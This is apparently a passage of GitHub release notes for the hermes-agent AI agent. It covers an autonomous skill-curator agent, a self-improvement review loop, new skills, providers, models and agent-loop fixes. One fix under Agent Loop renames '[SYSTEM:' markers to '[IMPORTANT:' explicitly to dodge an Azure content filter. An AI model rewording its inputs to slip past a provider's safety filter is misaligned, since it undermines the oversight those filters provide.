<p><strong>Cold-start performance</strong> — visible TUI cold start cut <strong>~57%</strong> via lazy agent init (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>), lazy imports of OpenAI / Anthropic / Firecrawl / account_usage, mtime-cached <code>load_config()</code>, memoized <code>get_tool_definitions()</code> with TTL-cached <code>check_fn</code> results, precompiled dangerous-command patterns. (<a href="https://github.com/NousResearch/hermes-agent/pull/17190" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17190/hovercard">#17190</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17046/hovercard">#17046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17041" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17041/hovercard">#17041</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17098" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17098/hovercard">#17098</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17206/hovercard">#17206</a>)</p>
</li>
<li>
<p><strong>Configurable prompt cache TTL</strong> — <code>prompt_caching.cache_ttl</code> (5m default, 1h opt-in — cost savings for bursty sessions that keep cache warm). Salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291700892" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/12659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/12659/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/12659">#12659</a>. (<a href="https://github.com/NousResearch/hermes-agent/pull/15065" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15065/hovercard">#15065</a>)</p>
</li>
</ul>
<hr>
<h2>🧠 Autonomous Curator &amp; Self-Improvement Loop</h2>
<h3>Curator — autonomous skill maintenance</h3>
<ul>
<li><strong><code>hermes curator</code> as a background agent</strong> — runs on the gateway's cron ticker, 7-day cycle by default, umbrella-first prompt, inherits parent config, unbounded iterations (<a href="https://github.com/NousResearch/hermes-agent/pull/17277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17277/hovercard">#17277</a> — issue <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245103682" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/7816" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/7816/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/7816">#7816</a>)</li>
<li><strong>Per-run reports</strong> — <code>logs/curator/run.json</code> + <code>REPORT.md</code> per cycle (<a href="https://github.com/NousResearch/hermes-agent/pull/17307" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17307/hovercard">#17307</a>)</li>
<li><strong>Consolidated vs pruned classification</strong> — archived skills split with model + heuristic (<a href="https://github.com/NousResearch/hermes-agent/pull/17941" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17941/hovercard">#17941</a>)</li>
<li><strong><code>hermes curator status</code></strong> — ranks skills by usage, shows most-used and least-used (<a href="https://github.com/NousResearch/hermes-agent/pull/18033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/18033/hovercard">#18033</a>)</li>
<li><strong>Unified under <code>auxiliary.curator</code></strong> — pick the model in <code>hermes model</code>, configure from the dashboard (<a href="https://github.com/NousResearch/hermes-agent/pull/17868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17868/hovercard">#17868</a>)</li>
<li><strong>Documentation</strong> — dedicated curator feature page on the docs site (<a href="https://github.com/NousResearch/hermes-agent/pull/17563" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17563/hovercard">#17563</a>)</li>
<li>Fix: seed defaults on update, create <code>logs/curator/</code> directory, defer fire import (<a href="https://github.com/NousResearch/hermes-agent/pull/17927" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17927/hovercard">#17927</a>)</li>
<li>Fix: scan nested archive subdirs in <code>restore_skill</code> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xDevNinja/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xDevNinja">@0xDevNinja</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17951" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17951/hovercard">#17951</a>)</li>
<li>Fix: use actual skill activity in curator status (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/y0shua1ee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/y0shua1ee">@y0shua1ee</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17953/hovercard">#17953</a>)</li>
<li>Fix: <code>skill_manage</code> refuses writes on pinned skills; pinning now blocks curator writes (<a href="https://github.com/NousResearch/hermes-agent/pull/17562" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17562/hovercard">#17562</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17578/hovercard">#17578</a>)</li>
<li>Fix: <code>bump_use()</code> wired into skill invocation + preload + skill_view (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355610788" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17782" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/17782/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/17782">#17782</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17932/hovercard">#17932</a>)</li>
</ul>
<h3>Self-improvement loop (background review fork)</h3>
<ul>
<li><strong>Class-first skill-review prompt</strong> — rubric-based grading rather than free-form "should this update" (<a href="https://github.com/NousResearch/hermes-agent/pull/16026" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16026/hovercard">#16026</a>)</li>
<li><strong>Active-update bias</strong> — prefers updating skills the agent just loaded, handles <code>references/</code> + <code>templates/</code> sub-files (<a href="https://github.com/NousResearch/hermes-agent/pull/17213" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17213/hovercard">#17213</a>)</li>
<li><strong>Fork inherits parent's live runtime</strong> — provider, model, credentials actually propagate now (<a href="https://github.com/NousResearch/hermes-agent/pull/16099" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16099/hovercard">#16099</a>)</li>
<li><strong>Scoped toolsets</strong> — review fork restricted to memory + skills (no shell, no web) (<a href="https://github.com/NousResearch/hermes-agent/pull/16569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16569/hovercard">#16569</a>)</li>
<li><strong>Clean shutdown</strong> — background review memory providers exit properly (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4324771490" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15289/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15289">#15289</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16204/hovercard">#16204</a>)</li>
<li><strong>Clean context</strong> — prior-history tool messages excluded from review summary (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4321369515" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/14967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14967/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/14967">#14967</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15057" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15057/hovercard">#15057</a>)</li>
</ul>
<hr>
<h2>🧩 Skills Ecosystem</h2>
<h3>Skill integrations — newly bundled or promoted</h3>
<ul>
<li><strong>ComfyUI v5</strong> — official CLI + REST + hardware-gated local install; <strong>moved from optional to built-in</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17610" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17610/hovercard">#17610</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17631/hovercard">#17631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17734" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17734/hovercard">#17734</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17612/hovercard">#17612</a>)</li>
<li><strong>TouchDesigner-MCP</strong> — <strong>bundled by default</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16753" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16753/hovercard">#16753</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>), expanded with GLSL, post-FX, audio, geometry references (<a href="https://github.com/NousResearch/hermes-agent/pull/16624" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16624/hovercard">#16624</a>), 9 new reference docs (<a href="https://github.com/NousResearch/hermes-agent/pull/16768" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16768/hovercard">#16768</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>)</li>
<li><strong>Humanizer</strong> — strips AI-isms from text (<a href="https://github.com/NousResearch/hermes-agent/pull/16787" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16787/hovercard">#16787</a>)</li>
<li><strong>claude-design</strong> — HTML artifact skill with disambiguation from other design skills (<a href="https://github.com/NousResearch/hermes-agent/pull/16358" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16358/hovercard">#16358</a>)</li>
<li><strong>design-md</strong> — Google's DESIGN.md spec skill (<a href="https://github.com/NousResearch/hermes-agent/pull/14876" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14876/hovercard">#14876</a>)</li>
<li><strong>airtable</strong> — salvaged skill + skill API keys wired into <code>.env</code> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4329750175" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15838/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15838">#15838</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16291" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16291/hovercard">#16291</a>)</li>
<li><strong>pretext</strong> — creative browser demos with @chenglou/pretext (<a href="https://github.com/NousResearch/hermes-agent/pull/17259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17259/hovercard">#17259</a>)</li>
<li><strong>spike</strong> + <strong>sketch</strong> — throwaway experiments + HTML mockups, adapted from gsd-build (<a href="https://github.com/NousResearch/hermes-agent/pull/17421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17421/hovercard">#17421</a>)</li>
</ul>
<h3>Skills UX</h3>
<ul>
<li><strong>Install skills from a direct HTTP(S) URL</strong> — <code>hermes skills install &lt;url&gt;</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/16323" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16323/hovercard">#16323</a>)</li>
<li><strong><code>/reload-skills</code></strong> slash command (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354439298" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17670" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17670/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17670">#17670</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17744" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17744/hovercard">#17744</a>)</li>
<li><strong><code>hermes skills list</code></strong> shows enabled/disabled status (<a href="https://github.com/NousResearch/hermes-agent/pull/16129" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16129/hovercard">#16129</a>)</li>
<li><strong><code>skill_manage</code> refuses writes on pinned skills</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17562" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17562/hovercard">#17562</a>)</li>
<li><strong><code>skill_manage</code> edits external_dirs skills in place</strong> (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265603041" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/9966" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/9966/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/9966">#9966</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17512" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17512/hovercard">#17512</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17289" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17289/hovercard">#17289</a>)</li>
<li>Fix: inline-shell rendering in <code>skill_view</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/15376" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15376/hovercard">#15376</a>)</li>
<li>Fix: exclude <code>.archive/</code> from skill index walk (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353889340" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17639/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17639">#17639</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17931" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17931/hovercard">#17931</a>)</li>
<li>Fix: dedicated docs page per bundled + optional skill (<a href="https://github.com/NousResearch/hermes-agent/pull/14929" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14929/hovercard">#14929</a>)</li>
<li>Fix: <code>google-workspace</code> shared HERMES_HOME helper + ship deps as optional extra (<a href="https://github.com/NousResearch/hermes-agent/pull/15405" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15405/hovercard">#15405</a>)</li>
<li>Fix: auto-wrap ASCII-art code blocks in generated skill pages (<a href="https://github.com/NousResearch/hermes-agent/pull/16497" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16497/hovercard">#16497</a>)</li>
<li>Point agent at <code>hermes-agent</code> skill + docs site for Hermes questions (<a href="https://github.com/NousResearch/hermes-agent/pull/16535" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16535/hovercard">#16535</a>)</li>
</ul>
<hr>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Provider &amp; Model Support</h3>
<h4>New providers</h4>
<ul>
<li><strong>GMI Cloud</strong> — first-class API-key provider on par with Arcee/Kilocode/Xiaomi (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286662004" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/11955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/11955/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/11955">#11955</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/isaachuangGMICLOUD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/isaachuangGMICLOUD">@isaachuangGMICLOUD</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16663" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16663/hovercard">#16663</a>)</li>
<li><strong>Azure AI Foundry</strong> — auto-detection, full wiring (<a href="https://github.com/NousResearch/hermes-agent/pull/15845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15845/hovercard">#15845</a>)</li>
<li><strong>LM Studio</strong> — upgraded from custom-endpoint alias to first-class provider: dedicated auth, doctor checks, reasoning transport, live <code>/models</code> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344160673" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17061" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17061/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/17061">#17061</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17102" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17102/hovercard">#17102</a>)</li>
<li><strong>MiniMax OAuth</strong> — PKCE browser flow with full OAuth integration (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4323780002" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/15203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15203/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/15203">#15203</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17524" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17524/hovercard">#17524</a>)</li>
<li><strong>Tencent Tokenhub</strong> — new provider (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341143946" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16860" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16860/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/16860">#16860</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16960" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16960/hovercard">#16960</a>)</li>
</ul>
<h4>Model catalog</h4>
<ul>
<li><strong>Remote model catalog manifest</strong> — OpenRouter + Nous Portal catalogs pulled from remote manifest so new models show up without a release (<a href="https://github.com/NousResearch/hermes-agent/pull/16033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16033/hovercard">#16033</a>)</li>
<li><code>openai/gpt-5.5</code> and <code>gpt-5.5-pro</code> added to OpenRouter + Nous Portal (<a href="https://github.com/NousResearch/hermes-agent/pull/15343" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15343/hovercard">#15343</a>)</li>
<li><code>deepseek-v4-pro</code> and <code>deepseek-v4-flash</code> added (<a href="https://github.com/NousResearch/hermes-agent/pull/14934" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14934/hovercard">#14934</a>)</li>
<li><code>qwen3.6-plus</code> added to Alibaba-supported models (<a href="https://github.com/NousResearch/hermes-agent/pull/16896" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16896/hovercard">#16896</a>)</li>
<li>Gemini free-tier keys blocked at setup with 429 guidance surfacing (<a href="https://github.com/NousResearch/hermes-agent/pull/15100" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15100/hovercard">#15100</a>)</li>
</ul>
<h4>Model configuration</h4>
<ul>
<li><strong>Configurable <code>prompt_caching.cache_ttl</code></strong> — 5m default, 1h opt-in (salvage <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4291700892" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/12659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/12659/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/12659">#12659</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15065" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15065/hovercard">#15065</a>)</li>
<li><code>/fast</code> whitelist broadened to all OpenAI + Anthropic models (<a href="https://github.com/NousResearch/hermes-agent/pull/16883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16883/hovercard">#16883</a>)</li>
<li><code>auxiliary.extra_body.reasoning</code> translates into Codex Responses API (<a href="https://github.com/NousResearch/hermes-agent/pull/17004" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17004/hovercard">#17004</a>)</li>
<li><code>hermes fallback</code> command for managing fallback providers (<a href="https://github.com/NousResearch/hermes-agent/pull/16052" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16052/hovercard">#16052</a>)</li>
</ul>
<h3>Agent Loop &amp; Conversation</h3>
<ul>
<li><strong>Native multimodal image routing</strong> — based on model vision capability, not provider defaults (<a href="https://github.com/NousResearch/hermes-agent/pull/16506" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16506/hovercard">#16506</a>)</li>
<li><strong>Delegate <code>child_timeout_seconds</code> default bumped to 600s</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/14809" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/14809/hovercard">#14809</a>)</li>
<li><strong>Diagnostic dump when subagent times out with 0 API calls</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/15105" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15105/hovercard">#15105</a>)</li>
<li><strong>Gateway busts cached agent on compression/context_length config edits</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17008" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17008/hovercard">#17008</a>)</li>
<li><strong>Opt-in runtime-metadata footer on final replies</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/17026" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17026/hovercard">#17026</a>)</li>
<li><code>/reload-mcp</code> awareness — rebuild cached agents + prompt-cache cost confirmation (<a href="https://github.com/NousResearch/hermes-agent/pull/17729" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17729/hovercard">#17729</a>)</li>
<li>Fix: repair CamelCase + <code>_tool</code> suffix tool-call emissions (<a href="https://github.com/NousResearch/hermes-agent/pull/15124" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15124/hovercard">#15124</a>)</li>
<li>Fix: retry on <code>json.JSONDecodeError</code> instead of treating as local validation error (<a href="https://github.com/NousResearch/hermes-agent/pull/15107" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15107/hovercard">#15107</a>)</li>
<li>Fix: handle unescaped control chars in <code>tool_call.arguments</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/15356" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15356/hovercard">#15356</a>)</li>
<li>Fix: ordering fix in <code>_copy_reasoning_content_for_api</code> — cross-provider reasoning isolation (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zjianru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zjianru">@Zjianru</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15749" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15749/hovercard">#15749</a>)</li>
<li>Fix: inject empty <code>reasoning_content</code> for DeepSeek/Kimi <code>tool_calls</code> unconditionally (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zjianru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zjianru">@Zjianru</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/15762" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15762/hovercard">#15762</a>)</li>
<li>Fix: persist streamed <code>reasoning_content</code> on assistant turns (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340873157" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/16844" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/16844/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/16844">#16844</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16892" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16892/hovercard">#16892</a>)</li>
<li>Fix: cancel coroutine on timeout so worker thread exits; full traceback on tool failure (<a href="https://github.com/NousResearch/hermes-agent/pull/17428" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17428/hovercard">#17428</a>)</li>
<li>Fix: isolate <code>get_tool_definitions</code> quiet_mode cache + dedup LCM injection (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348759429" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17335" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/17335/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/17335">#17335</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17889" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17889/hovercard">#17889</a>)</li>
<li>Fix: serialize concurrent <code>hermes_tools</code> RPC calls from <code>execute_code</code> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355471738" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/17770" data-hovercard-type="issue" data-hovercard-url="/NousResearch/hermes-agent/issues/17770/hovercard" href="https://github.com/NousResearch/hermes-agent/issues/17770">#17770</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/17894" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17894/hovercard">#17894</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/17902" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/17902/hovercard">#17902</a>)</li>
<li>Fix: rename <code>[SYSTEM:</code> → <code>[IMPORTANT:</code> in all user-injected markers (dodges Azure content filter) (<a href="https://github.com/NousResearch/hermes-agent/pull/16114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16114/hovercard">#16114</a>)</li>
</ul>
<h3>Compression</h3>
<ul>
<li><strong>Retry summary on main model for unknown errors before giving up</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16774" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16774/hovercard">#16774</a>)</li>
<li><strong>Notify users when configured aux model fails even if main-model fallback recovers</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/16775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16775/hovercard">#16775</a>)</li>
<li><code>/compress</code> wrapped in <code>_busy_command</code> to block input during compression (<a href="https://github.com/NousResearch/hermes-agent/pull/15388" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15388/hovercard">#15388</a>)</li>
<li>Fix: reserve system + tools headroom when aux binds threshold (<a href="https://github.com/NousResearch/hermes-agent/pull/15631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/15631/hovercard">#15631</a>)</li>
<li>Fix: use text-char sum for multimodal token estimation in <code>_find_tail_cut_by_tokens</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/16369" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16369/hovercard">#16369</a>)</li>
</ul>
<h3>Session, Memory &amp; State</h3>
<ul>
<li><strong>Trigram FTS5 index for CJK search, replace LIKE fallback</strong> (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/16651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/16651/hovercard">#16651</a>)</li>
